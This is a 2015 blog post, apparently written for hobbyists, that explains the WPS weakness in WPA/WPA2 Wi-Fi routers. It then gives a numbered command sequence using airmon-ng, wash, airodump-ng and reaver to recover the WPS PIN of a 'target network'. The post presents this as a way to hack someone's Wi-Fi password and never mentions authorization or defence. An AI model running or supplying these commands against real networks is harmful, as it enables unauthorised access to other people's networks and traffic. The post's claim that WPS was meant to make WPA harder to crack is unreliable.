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Monday, October 5, 2015

Easy Crack WIFI | WPA, WEP, WPS hacks

Hacking wifi nowdays have become much easier , a simple person having Access to the Internet , can run a couple of commands and get the thing done.Wifi security contains basic two methods: WPA/WPA2 WPS or WEP.
WEP cracking is easy which can be done even by a kid so the security people developed a method wherein the password to protect wifi become complex and hard to crack since it contained Alphanumeric characters.
But the developing technology and growing pace of geeks made this easy.WPA/WPA2 introduced a WPS which had a loop hole and it became very easy to hack into the system.
 
Wifi Protected Setup (WPS). Now basically it was meant to make WPA even tougher to crack, and much easier to configure (push a button on router and device connects). However, it had a hole, which is now well known, and tools like reaver can exploit it in a single line statement. It still might take hours, but it is much better than the previous scenario in which months of brute-forcing would yield no result.

So, Not wasting or going much into the details , i  am simplifying the process and deatiling what is needed to hack a wifi password.


OS: Obviously Linux (Kali or Backtrack)
Application used: Reaver (Already found installed in Kali)

Note: Make sure Wifi Adaptor should be connected.


Now once all this is done we are ready to Crack.

Now you need to find out the following about you target network-
  • Does it have WPS enabled. If not, then the attack will not work.
  • The BSSID of the network.   

Run the Following Code and wait for the result. 

1)airmon-ng start wlan0(To set wifi into monitor mode)
2)wash -i mon0 (Check WPS enable on Router)
3)airodump-ng mon0
4)BSSID of the network (Copy and keep)
5)reaver -i mon0 -b XX:XX:XX:XX:XX:XX -vv (Replace with BSSID)
6) Congrats , we have the pin.(Let it run and collect becons , it may take time , for me it toom around 3 hours)  
Look for  Screenshots numbered as per the steps.




                                                                                                                                                  

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